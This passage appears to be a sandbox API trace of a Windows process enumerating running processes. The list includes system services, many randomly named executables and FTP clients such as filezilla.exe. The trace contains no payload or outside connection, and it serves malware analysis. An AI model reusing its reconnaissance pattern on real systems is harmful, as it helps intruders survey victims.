th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.200] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.202] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0133.204] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.206] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.208] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.210] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0133.212] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0133.216] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x7bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0133.218] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist.exe")) returned 1 [0133.220] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="standard private.exe")) returned 1 [0133.222] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="available section.exe")) returned 1 [0133.224] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="hold-policy-consider.exe")) returned 1 [0133.225] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1 [0133.227] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="body-surface.exe")) returned 1 [0133.229] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="his-such.exe")) returned 1 [0133.230] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="where.exe")) returned 1 [0133.232] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="question necessary.exe")) returned 1 [0133.234] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="onlyfight.exe")) returned 1 [0133.236] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="explainend.exe")) returned 1 [0133.237] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="speak.exe")) returned 1 [0133.239] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="manage agreement step.exe")) returned 1 [0133.241] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoid.exe")) returned 1 [0133.242] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="others_set_heavy.exe")) returned 1 [0133.244] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0133.246] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0133.247] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0137.169] VirtualAlloc (lpAddress=0xc00004e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004e000 [0137.195] CloseHandle (hObject=0x144) returned 1 [0137.195] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x934) returned 0x144 [0137.207] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.072] VirtualAlloc (lpAddress=0xc0000d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d0000 [0138.073] CloseHandle (hObject=0x144) returned 1 [0138.074] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x9ac) returned 0x144 [0138.090] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.564] VirtualAlloc (lpAddress=0xc0000d2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d2000 [0141.729] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0xc40) returned 0x144 [0141.736] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.737] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0141.738] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0141.738] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.739] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0141.740] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.741] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0141.741] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0141.742] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0141.743] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0141.743] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.744] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.745] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.745] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.746] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.747] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.748] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0141.748] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.749] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0141.750] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0141.751] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.752] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0141.753] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0141.754] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0141.754] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0141.755] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.756] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0141.756] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0141.757] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x7bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0141.758] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist.exe")) returned 1 [0141.758] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="standard private.exe")) returned 1 [0141.759] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="available section.exe")) returned 1 [0141.760] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="hold-policy-consider.exe")) returned 1 [0141.761] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1 [0141.762] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="body-surface.exe")) returned 1 [0141.763] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="his-such.exe")) returned 1 [0141.763] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="where.exe")) returned 1 [0141.764] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="question necessary.exe")) returned 1 [0141.766] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="onlyfight.exe")) returned 1 [0141.768] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="explainend.exe")) returned 1 [0141.768] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="speak.exe")) returned 1 [0141.769] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="manage agreement step.exe")) returned 1 [0141.770] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoid.exe")) returned 1 [0141.771] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="others_set_heavy.exe")) returned 1 [0141.771] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0141.772] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0141.773] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0141.774] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0141.775] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0141.776] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0141.777] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0141.778] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, 